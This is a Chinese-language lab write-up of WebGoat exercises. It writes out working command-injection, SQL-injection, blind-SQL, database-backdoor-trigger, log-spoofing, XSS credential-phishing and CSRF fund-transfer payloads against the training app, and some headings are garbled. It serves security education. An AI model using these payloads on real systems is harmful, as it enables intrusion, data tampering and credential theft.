防护:经过验证码来检测用户提交,尽可能不要在页面的连接中暴露用户隐私信息,对于用户修改删除等操做最好都使用post 操做 ,避免全站通用的cookie,严格设置cookie的域。html
java -jar webgoat-container-7.1-exec.ja
开启webgoatlocalhost:8080/WebGoat
,选择默认的帐号密码便可登录Command Injectionjava
BackDoors.help
,并view
,右键选择Inspect Element
BackDoors.help
旁边加上"& netstat -an & ipconfig"
view
,能够看到命令被执行,出现系统网络链接状况Numeric SQL Injectionweb
Columbia
,Go
,能够看到全部天气数据Log Spoofingsql
zss%0d%0aLogin Succeeded for username: admin
XPATH Injection数据库
user name:zss' or 1=1 or 'a'='a password:zss
String SQL Injection浏览器
' or 1=1 --
LAB: SQL Injection服务器
ViewProfile
,这个地方是以员工ID做为索引传递参数的,咱们要达到经过Larry来浏览老板帐户信息的目的,通常来讲老板的工资都应该是最高的,因此把其中的value值改成101 or 1=1 order by salary desc --
,这样老板的信息就会被排到第一Database Backdoorscookie
101; update employee set salary=10000
,将工资涨到了10000101;CREATE TRIGGER yqhBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='20154322@qq.com' WHERE userid = NEW.userid
,建立后门Blind Numeric SQL Injection网络
pins
表中cc_number
字段值为1111222233334444
的记录中pin
字段的数值,从服务端页面返回的信息中能够知道,只会反馈两种信息:账号有效或无效101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 2000 )
;查看pin
数值是否大于2000
逐步缩小范围,最后肯定数值
xss
</form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br><br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR>
Reflected XSS Attacks
若是咱们将带有攻击性的URL做为输入源,好比<script>alert("23320154308yqh");</script>
,就会弹出对话框
在信息框内输入<img src="http://localhost:8080/WebGoat/attack?Screen=2078372&menu=900&transferFunds=1000000"/>
(这句话的意思是将Funds即金钱转到本身的帐户里),点击提交后就执行了这个代码,被攻击者就会给你转钱,成功
CSRF Prompt By-Pass
<img src="attack?Screen=1471017872&menu=900&transferFunds=5000" width="1" height="1"> <img src="attack?Screen=1471017872&menu=900&transferFunds=confirm" width="1" height="1">